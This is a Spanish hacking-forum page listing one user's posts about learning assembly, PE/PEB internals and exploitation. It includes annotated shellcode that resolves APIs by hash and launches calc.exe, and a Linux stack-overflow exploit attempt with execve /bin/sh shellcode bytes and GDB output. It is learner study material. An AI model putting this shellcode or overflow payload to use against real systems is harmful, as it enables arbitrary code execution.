elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Temas
Páginas: 1 2 3 4 5 6 [7] 8 9 10 11 12 13 14 15 16 17 18
61  Seguridad Informática / Análisis y Diseño de Malware / como encontrar y usar LoadLibrary y Getprocaddress usando PEB? en: 26 Junio 2012, 22:05 pm
Hola tengo unas dudas sobre PEB

bueno, ya entendi como se encuentra PEB gracias al blog de Nox donde te explica sobre eso

estuve haciendo pruebas para verificar si lo que hacia estaba bien, perdon por poner una mezcla de ASM y C pero no encontre otra manera de verificar que realmente la comparacion de PE fuera exacto

Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3.  
  4. int main()
  5. {
  6.  
  7. __asm{
  8.  
  9. xor eax, eax
  10. mov eax, fs:[0x30]
  11. mov eax, [eax+0x0C]
  12. mov eax, [eax+0x1C]
  13. mov eax, [eax]
  14. mov eax, [eax+0x08]
  15. mov ebx, eax
  16. add ebx, [eax + 0x3C]
  17. cmp ebx, 'PE'
  18. je bien
  19.  
  20.  
  21. }
  22. bien:
  23. MessageBox(0, "bien hecho", "mensaje", 0 );
  24.  
  25. }

ahora, lo que sabia es que despues de esto tenia que llegar a IMAGE DATA DIRECTORY, donde se encuentra RVA o VirtualAddress

aqui no se dos cosas, cual es el tamaño de IMAGE_OPTIONAL_HEADER?

acaso son 0x78?

entonces seria 0x76 y 0x78 empieza IMAGE_DATA_DIRECTORY?

y lo que tendria que seguir en el codigo para llegar a EAT seria?
Citar
mov ebx, [ebx + 0x78]

y bueno, de aqui que mas tendria que hacer para encontrar por ejemplo, LoadLibraryA y Getprocaddress?

e visto que buscan direccion de nombres [0x20] y numero de nombres [0x18] e incluso veo que se saltan eso y van directo a [0x24] que seria numero de funciones

me gustaria hacer un ejercicio para mostrar un MessageBox cargando user32.dll con LoadLibrary y mostrando MessageBoxA con GetprocAddress y ponerle algun mensaje, todo usando PEB

espero me puedan ayudar

P.D. Nox, me podrias decir que compilador usaste para compilar el ejemplo de tu blog, porfavor?

salu2
62  Programación / Programación C/C++ / me podrian ayudar con este codigo para descrgar archivos en: 20 Junio 2012, 02:36 am
hola

estoy tratando de programar una aplicacion para descargar archivos, del codigo que les pondre, el segundo for( ; ; ), se detiene y no termina de descargar los datos y los archivos quedan incompletos, que podria suceder?, lo estoy haciendo en linux

Código
  1. if(argc > 2){
  2.  
  3. char *hst, *file, *dire;
  4. char datos[512];
  5. char buffer[1024];
  6. hst = argv[1];
  7. file = argv[2];
  8. dire = argv[3];
  9.  
  10. int sock;
  11. int i = 0;
  12. int bytes = 0;
  13. int dbytes;
  14.  
  15. memset(buffer, 0, 1024);
  16.  
  17. struct sockaddr_in cox;
  18. struct hostent *ht;
  19.  
  20. sprintf(datos, "GET %s HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n", file, hst);
  21.  
  22. sock = socket(AF_INET, SOCK_STREAM, 0);
  23.  
  24. ht = gethostbyname(hst);
  25.  
  26. cox.sin_family = AF_INET;
  27. cox.sin_port = htons(80);
  28. cox.sin_addr = *((struct in_addr*)ht->h_addr);
  29. memset(&cox.sin_zero, 0, 8);
  30.  
  31. connect(sock, (struct sockaddr*)&cox, sizeof(struct sockaddr));
  32.  
  33. FILE *fp = fopen(dire, "wb");
  34.  
  35. send(sock, datos, strlen(datos), 0);
  36.  
  37. for(;;){
  38.  
  39. recv(sock, buffer + i, 1, 0);
  40. i++;
  41. if(strncmp(buffer+i-4, "\r\n\r\n", 4) == 0){
  42. break;
  43. }
  44. }
  45. for(;;){
  46.  
  47. memset(buffer,0,1024);
  48. bytes = recv(sock, buffer, 1024, 0);
  49. dbytes += bytes;
  50. printf("%d KB\n", dbytes/1024);
  51. fwrite(buffer, sizeof(char), bytes ,fp);
  52. if(bytes <= 0){
  53. break;
  54. }
  55. }
  56. printf("Bytes: %d\n", dbytes);
  57. fclose(fp);
  58. close(sock);
  59. }
  60. }
  61.  

todavia le faltan cosas, pero ahorita lo hice para que descargue de esta manera
Citar
./downfiles www.oocities.org /dreamlfpg315/dll/ensamblador.txt ensamblador.txt



63  Programación / ASM / me podrian ayudar explicandome dudas sobre PEB y shellcode porfavor en: 19 Junio 2012, 05:27 am
hola

Me podrian ayudar a entender esto

Código
  1. api_call:
  2.  pushad     ;registros a pila
  3.  mov ebp, esp
  4.  xor edx, edx
  5.  mov edx, [fs:edx+48] ;puntero a PEB
  6.  mov edx, [edx+12]    ;puntero a LDR
  7.  mov edx, [edx+20]    ;puntero al primer modulo de la lista de InMemoryOrder
  8.  
  9.  
  10. next_mod:
  11.  mov esi, [edx+40]    ;puntero al nombre de los modulos
  12.  movzx ecx, word [edx+38] ;logitud a verficar
  13.  xor edi, edi
  14.  
  15.  

Esta parte no la entiendo... se movera a esi edx+40, supuestamente es el puntero a los modulos pero donde encuentro informacion sobre el porque edx+40 apunta a los nombres

movzx tengo entendido que es para mover a un destino rellenando con ceros, pero porque un word [edx+38]?

Código
  1. loop_modname:
  2.  xor eax, eax
  3.  lodsb
  4.  cmp al, 'a'        ;el nombre del modulo esta en minuscula
  5.  jl not_lowercase   ;lo pasamos
  6.  sub al, 0x20       ;a mayuscula  
  7.  
  8. not_lowercase:
  9.  ror edi, 13        ;rotamos hacia la derecha
  10.  add edi, eax       ;el valor del hash
  11.  loop loop_modname  ;hasta ecx=0

Aqui quiero creer que lo que pasa es que lodsb leera byte por byte de mov esi, y lo metera en ax, se hara una comparacion con los ultimos 8 bits y si resulta a minuscula se hara mayuscula y saltara a not_lowercase

entiendo que ror es para voltear a la derecha, pero porque 13?, add hace una suma de edi + eax?, y como que el hash?, el que yo le pongo por ejemplo

 push 0x876F8B31 ;hash para WinExec a pila

o cual hash?

y me imagino que el loop hace que repita ecx que se relizo en next_mod

Código
  1. push edx           ;Posicion
  2.  push edi           ;y hash del modulo actual a pila
  3.  mov edx, [edx+16]  ;direccion base del modulo a edx
  4.  mov eax, [edx+60]  ;cabecera PE a eax
  5.  add eax, edx
  6.  mov eax, [eax+120] ;EAT a eax
  7.  test eax, eax      ;hay EAT?
  8.  jz get_next_mod1   ;no, siguiente modulo
  9.  add eax, edx
  10.  push eax           ;EAT del modulo a pila
  11.  mov ecx, [eax+24]  ;numero de funciones del modulo a ecx
  12.  mov ebx, [eax+32]  ;RVA de las funciones a ebx
  13.  add ebx, edx          


Código
  1. push edx           ;Posicion
  2.  push edi           ;y hash del modulo actual a pila

Esto creo que es edx del inicio, puntero del primer modulo, y el hash que se caba de encontrar, el cual todavia no entiendo cual

Código
  1. mov edx, [edx+16]  ;direccion base del modulo a edx

este me imagino que es PVOID BaseAddress

Código
  1. mov eax, [edx+60]  ;cabecera PE a eax
  2.  add eax, edx
  3.  mov eax, [eax+120] ;EAT a eax
  4.  test eax, eax      ;hay EAT?
  5.  jz get_next_mod1   ;no, siguiente modulo

creo que es el PE de kernel32.dll y la suma de eax y edx mas 120 me llevara a EAT, si no hay entonces llegare a get_next_mod1

Código
  1. get_next_mod1:
  2.  pop edi         ;hash del siguiente modulo a eax
  3.  pop edx         ;posicion donde quedamos en la lista de modulos a edx
  4.  mov edx, [edx]  ;puntero al siguiente modulo
  5.  jmp short next_mod

me imagino que saco de la pila edi, edx y regresamos a la posicion de antes y se repite next_mod


Código
  1. add eax, edx
  2.  push eax           ;EAT del modulo a pila
  3.  mov ecx, [eax+24]  ;numero de funciones del modulo a ecx
  4.  mov ebx, [eax+32]  ;RVA de las funciones a ebx
  5.  add ebx, edx    
  6.  
  7.  

posiblemente aqui se encuentra EAT me llevara a RVA donde estan las funciones del modulo

Código
  1. get_next_func:
  2.  jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo
  3.  dec ecx            ;numero de la funcion - 1
  4.  mov esi, [ebx+ecx*4]  ;RVA de la funcion a esi
  5.  add esi, edx
  6.  xor edi, edi

pero me imagino que pasa si se leen tods las funciones, aunque no entiendo como funcionaria

Código
  1. loop_funcname:
  2.  xor eax, eax
  3.  lodsb           ;byte por byte del nombre de la funcion en ASCII
  4.  ror edi, 13     ;buscamos
  5.  add edi, eax    ;el caracter
  6.  cmp al, ah      ;nulo que indica el final de la cadena
  7.  jne loop_funcname ;hasta tener el hash completo de la funcion
  8.  add edi, [ebp-8]  ;edi=hash del modulo+hash de la funcion
  9.  cmp edi, [ebp+36] ;es la que buscamos?
  10.  jnz get_next_func ;no, sigamos con la siguiente funcion    
  11.  
  12.  pop eax           ;EAT del modulo a eax
  13.  mov ebx, [eax+36] ;conseguimos RVA
  14.  add ebx, edx      ;le a?adimos la direccion base del modulo
  15.  mov cx, [ebx+2*ecx]
  16.  mov ebx, [eax+28]  ;RVA de la funciones a ebx
  17.  add ebx, edx       ;le a?adimos la direccion base del modulo
  18.  mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax
  19.  add eax, edx       ;le a?adimos la direccion base del modulo y listo, en eax  
  20.  
  21. finish:
  22.  mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor

Y para finalizar

Me imagino que se hace exactamente lo mismo para buscar la funcion con loop

Código
  1. loop_funcname:
  2.  xor eax, eax
  3.  lodsb           ;byte por byte del nombre de la funcion en ASCII
  4.  ror edi, 13     ;buscamos
  5.  add edi, eax    ;el caracter
  6.  cmp al, ah      ;nulo que indica el final de la cadena
  7.  jne loop_funcname ;hasta tener el hash completo de la funcion

esto no entiendo que hace, solo se que sirve para verfiricar que es la que buscamos, pero porque ebp-8 y ebp+36

Código
  1. add edi, [ebp-8]  ;edi=hash del modulo+hash de la funcion
  2.  cmp edi, [ebp+36] ;es la que buscamos?
  3.  jnz get_next_func ;no, sigamos con la siguiente funcion    
  4.  
  5.  

Aqui y solo me imagino que es agregar a la pila todo los datos

Código
  1. pop eax           ;EAT del modulo a eax
  2.  mov ebx, [eax+36] ;conseguimos RVA
  3.  add ebx, edx      ;le a?adimos la direccion base del modulo
  4.  mov cx, [ebx+2*ecx]
  5.  mov ebx, [eax+28]  ;RVA de la funciones a ebx
  6.  add ebx, edx       ;le a?adimos la direccion base del modulo
  7.  mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax
  8.  add eax, edx       ;le a?adimos la direccion base del modulo y listo, en eax
  9.  

y finalizamos

Código
  1. finish:
  2.  mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor

Perdon se que son muchas preguntas pero espero me puedan ayudar poco a poco, porque ya pase varios dias leyendo y googlendo sobre muchas cosas, afortundente el formato PE lo logre entender y bueno el manual que hay para formato PE sobre windows pues sigo leyendo

varias funciones que desconocia de ASM las sigo aprendiendo, ya logre hacer una shell con las direcciones de WinExec y ExitProcess, me costo un poco de trabajo porque no sabia como hacer un push a "db 'cmd.exe', 0'"... XD

y buscando me di cuenta que con esas mismas direcciones se puede ejecutar una shell con PEB, esto lo encontre del blog Harmony Security

Código
  1. [BITS 32]
  2. [ORG 0]
  3.  
  4.  cld                    // clear the direction flag
  5.  call start             // call start, this pushes the address of 'api_call' onto the stack
  6. delta:
  7.  %include "./x86_api_call.asm"
  8. start:
  9.  pop ebp                // pop off the address of 'api_call' for calling later
  10.  
  11.  push byte +1           // push the command show parameter
  12.  lea eax, [ebp+command-delta] // calculate an address to the command line
  13.  push eax               // push the command line parameter
  14.  push 0x876F8B31        // push the hash value for WinExec
  15.  call ebp               // kernel32.dll!WinExec( &command, SW_NORMAL )
  16.  
  17.  push byte 0            // push the desired exit code parameter
  18.  push 0x56A2B5F0        // push the hash value for ExitProcess
  19.  call ebp               // call kernel32.dll!ExitProcess( 0 )
  20.  
  21. command:
  22.  db "calc.exe", 0
  23.  

y pues estoy interesado en aprender a hacer cosas como esas

bueno, espero me puedan ayudar

salu2
64  Programación / ASM / para que sirve LEA y cual es la diferencia con MOV? en: 19 Junio 2012, 03:32 am
hola

me podrian explicar para que funciona LEA y cual es la diferencia entre LEA y MOV

es que googlendo encontre un poco pero no entendi bien, y pues algo que encontre tambien fue la diferencia de lea y mov pero me quisiera saber si alguien tiene una explicacion mas amplia porfavor

salu2  ;D
65  Programación / ASM / ya logre obtener PEB de kernel32.. y ahora como continuo? en: 14 Junio 2012, 06:00 am
hola

bueno, estoy aprendiendo asm, acabo de entender como encontrar PEB de kernel32.dll

Código
  1. DWORD Kerbel;
  2.  
  3. __asm{
  4.  
  5. xor eax, eax
  6. mov eax, fs:[0x30]
  7. mov eax, [eax+0x0C]
  8. mov eax, [eax+0x1C]
  9. mov eax, [eax]
  10. mov eax, [eax+0x08]
  11. mov Kerbel, eax
  12.  
  13. }
  14.  
  15. printf("PEB asm: %8X", Kerbel );

estuve revisndo sobre la estructura PEB, apuntar a InLoadOrderModuleList de LDR, etc...

ya lo intente y si me funciono, pero despues que tengo que hacer para encontrar LoadLibraryA?, y como podria utilizarlo para obtener la direccion con GetProcAddress de MessageBoxA y poder ejecutar un MessageBox con un mensaje?

y porcierto, porque ese mismo codigo en asm no me funciona en fasm?, cual es la diferencia?

espero me puedan orientar, salu2

66  Seguridad Informática / Bugs y Exploits / porque no puedo ejecutar este exploit en linux, si supuestamente ya tengo RET en: 10 Junio 2012, 00:48 am
sigo sin lograr crear la shell en linux con un exploit... alguien tiene alguna idea de que podria ser?, esto es lo que hago

primero desactivo

Citar
cat /proc/sys/kernel/randomize_va_space
0

compilo

Citar
gcc -g --no-stack-protector -z execstack vuln.c -o vuln

con GDB, analizo

Citar
$(perl -e 'print "A" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "B" x 4')

Breakpoint 1, overflow (
    badbeef=0xbffff5a4 'A' <repeats 20 times>, "1\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀BBBB") at vuln.c:6
6      strcpy(buffer, badbeef);

esto obtengo como resultado

Citar
(gdb) x/x buffer
0xbffff320:   0x00000000
(gdb) x/x badbeef
0xbffff5a4:   0x41414141

Citar
(gdb) x/50 $esp
0xbffff310:   0xb7f361d7   0xb7e955f5   0x0000002f   0xb7fbeff4
0xbffff320:   0x00000000   0x0804966c   0xbffff338   0x080482e8
0xbffff330:   0xb7ff1300   0x0804966c   0xbffff368   0x08048449
0xbffff340:   0xb7fbf324   0xb7fbeff4   0xbffff368   0x08048417
0xbffff350:   0xbffff5a4   0xb7ff1300   0x0804843b   0xb7fbeff4
0xbffff360:   0x08048430   0x00000000   0xbffff3e8   0xb7e7ce46
0xbffff370:   0x00000002   0xbffff414   0xbffff420   0xb7fe1860
0xbffff380:   0xb7ff7591   0xffffffff   0xb7ffeff4   0x08048254
0xbffff390:   0x00000001   0xbffff3d0   0xb7ff0986   0xb7fffac0
0xbffff3a0:   0xb7fe1b58   0xb7fbeff4   0x00000000   0x00000000
0xbffff3b0:   0xbffff3e8   0x50be839c   0x60c4758c   0x00000000
0xbffff3c0:   0x00000000   0x00000000   0x00000002   0x08048330
0xbffff3d0:   0x00000000   0xb7ff6730
(gdb) next
7   }
(gdb) x/50 $esp
0xbffff310:   0xbffff320   0xbffff5a4   0x0000002f   0xb7fbeff4
0xbffff320:   0x41414141   0x41414141   0x41414141   0x41414141
0xbffff330:   0x41414141   0x6850c031   0x68732f2f   0x69622f68
0xbffff340:   0x50e3896e   0x8953e289   0xcd0bb0e1   0x42424280
0xbffff350:   0xbfff0042   0xb7ff1300   0x0804843b   0xb7fbeff4
0xbffff360:   0x08048430   0x00000000   0xbffff3e8   0xb7e7ce46
0xbffff370:   0x00000002   0xbffff414   0xbffff420   0xb7fe1860
0xbffff380:   0xb7ff7591   0xffffffff   0xb7ffeff4   0x08048254
0xbffff390:   0x00000001   0xbffff3d0   0xb7ff0986   0xb7fffac0
0xbffff3a0:   0xb7fe1b58   0xb7fbeff4   0x00000000   0x00000000
0xbffff3b0:   0xbffff3e8   0x50be839c   0x60c4758c   0x00000000
0xbffff3c0:   0x00000000   0x00000000   0x00000002   0x08048330
0xbffff3d0:   0x00000000   0xb7ff6730

Citar
(gdb) disass main
Dump of assembler code for function main:
   0x080483fe <+0>:   push   %ebp
   0x080483ff <+1>:   mov    %esp,%ebp
   0x08048401 <+3>:   and    $0xfffffff0,%esp
   0x08048404 <+6>:   sub    $0x10,%esp
   0x08048407 <+9>:   mov    0xc(%ebp),%eax
   0x0804840a <+12>:   add    $0x4,%eax
   0x0804840d <+15>:   mov    (%eax),%eax
   0x0804840f <+17>:   mov    %eax,(%esp)
   0x08048412 <+20>:   call   0x80483e4 <overflow>
   0x08048417 <+25>:   mov    $0x0,%eax
   0x0804841c <+30>:   leave 
   0x0804841d <+31>:   ret   

Citar
(gdb) info r
eax            0xbffff320   -1073745120
ecx            0x0   0
edx            0x32   50
ebx            0xb7fbeff4   -1208225804
esp            0xbffff310   0xbffff310
ebp            0xbffff348   0xbffff348
esi            0x0   0
edi            0x0   0
eip            0x80483fc   0x80483fc <overflow+24>
eflags         0x246   [ PF ZF IF ]
cs             0x73   115
ss             0x7b   123
ds             0x7b   123
es             0x7b   123
fs             0x0   0
gs             0x33   51

al intentar poner RET me aparece esto

Citar
(gdb) x/x buffer
0xbffff320:   0x00000000

Citar
$(perl -e 'print "A" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x20\xf3\xff\xbf"')

Breakpoint 1, overflow (
    badbeef=0xbffff5a4 'A' <repeats 20 times>, "1\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀P\363\377\277") at vuln.c:6
6      strcpy(buffer, badbeef);
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xfff35080 in ?? ()
(gdb) exit

Y no se que mas me falte o que este haciendo mal, alguien podria explicarme porfavor

salu2
67  Programación / ASM / porque me sale un error al finalizar el programa? en: 31 Mayo 2012, 06:09 am
hola

estoy estudiando asm, hice un ejemplo de messagebox en fasm, pero no se porque me sale un error al finalizar el programa, alguien sabe que podria ser?

Código
  1. format PE GUI 4.0
  2.  
  3. include 'C:\fasm\include\win32ax.inc'
  4.  
  5. push MB_YESNO
  6. push mensaje
  7. push captio
  8. push 0
  9. call [MessageBoxA]
  10. cmp eax, IDYES
  11. jne exit
  12. jmp gracias
  13.  
  14. gracias:
  15.  
  16. push MB_OK
  17. push mensaj
  18. push capt
  19. push 0
  20. call [MessageBoxA]
  21. jmp exit
  22.  
  23. exit:
  24.  
  25. push 0
  26. push [ExitProcess]
  27.  
  28. mensaje db 'mensaje', 0
  29. captio db 'exito!!', 0
  30. mensaj db 'mensaje', 0
  31. capt db 'XD', 0
  32.  
  33.  
  34. data import
  35.  
  36. library kernel32, 'KERNEL32.DLL', user32, 'USER32.DLL'
  37. import user32, MessageBoxA, 'MessageBoxA'
  38. import kernel32, ExitProcess, 'ExitProcess'
  39.  
  40. end data                                
68  Programación / Programación C/C++ / ayuda con VisualStudio2010,para que es "L" y "_T" y como lo arreglo[SOLUCIONADO] en: 31 Mayo 2012, 02:31 am
hola

una pregunta, casi siempre e programado con MingW en windows, ahora quise usar Visual Studio 2010 y dejar GCC para linux

quise hacer un hook rapido a MessageBoxA, para ejecutar el clasico mensaje de hola mundo y probar como funciona, ya que siempre trabaje con codeblocks

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <Windows.h>
  4.  
  5. typedef int (CALLBACK *MSBX)(HWND, LPCTSTR, LPCTSTR, UINT);
  6.  
  7. int main(int *argv, char *argc){
  8.  
  9. HMODULE han;
  10. MSBX msgbox;
  11.  
  12. han = LoadLibrary(L"User32.dll");
  13. msgbox = (MSBX)GetProcAddress(han, "MessageBoxA");
  14.  
  15. msgbox(NULL,"mensaje","exito!!", NULL);
  16.  
  17. }

pero tengo una duda, como arreglo o cual es la nueva forma de llamar ciertas cosas por ejemplo

LoadLibrary, asi encontre que tenia que hacerlo funcionar

Código:
han = LoadLibrary(L"User32.dll");

pero para que es esa "L"?...
Código:
han = LoadLibrary(L"User32.dll");

ahora me aparece marcado esto

Código:
msgbox(NULL,"mensaje","exito!!", NULL);

"mensaje" y "exito!!"

si lo dejo asi, me aparece bien el mensaje, pero para quitar el mensaje de error, tengo que poner igual "L", tambien encontre que con "_T"... pero no me funciono

el mensaje de error es sobre puntero a char* que no es compatible con LPCTSTR

y con MingW y codeblocks nunca tuve ese problema, que podria hacer para solucionarlo? y si puede solucionar permanentemente o es algo que siempre tendre que ver como arreglarlo?

salu2
69  Seguridad Informática / Nivel Web / necesito recomendaciones de libros para estudiar sobre WEB en: 25 Mayo 2012, 21:00 pm
hola

tengo ganas de empezar a entender mejor sobre seguridad web, casi todo el tiempo me e dedicado a aplicaciones y redes, asi que tambien, yo creo que es hora de aprender cosas nuevas (aunque siempre hay algo nuevo para la CPU XD) y en ellas esta la web, que casi nunca le puse atencion

bueno, quisiera empezar por lo basico, a leer  ;D

segun WHK esto es tanto necesario como opcional

Citar
HTML (Obligatorio)
PHP
ASP
SQL general (Obligatorio)
MySQL
MSSQL (Opcional)
javascript (Obligatorio)
HTTP (Opcional)

ahorita descargue la biblia de mysql y he intento buscar algun libro sobre SQL en general

me podrian recomendar pdf's y si se puede de libros para leerlos

ahorita busco de HTML, PHP, javascript, que son creo lo mas importantes

ya tengo conocimiento basico de PHP, Python y Perl, pero creo me interesa saber bien sobre PHP

que libros me recomiendan?, y que tanto me recomiendan sobre HTTP y ASP?

espero puedan ayudar a un newbie... jeje, se siente raro regresar a novato jaja  :P

salu2
70  Seguridad Informática / Seguridad / ya dejo google chrome los spywares? en: 24 Mayo 2012, 17:41 pm
hola

que tan seguro es google chrome, bueno e escuchado que hablando sobre seguridad es uno de los mejores, pero hace unos años recuerdo que fue conciderado chrome como un navegador espia, ya que contenia spyware

y esa es mi duda, he escuchado que es muy bueno, pero aun sigue con spywares? o ya fueron retirados?
Páginas: 1 2 3 4 5 6 [7] 8 9 10 11 12 13 14 15 16 17 18
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines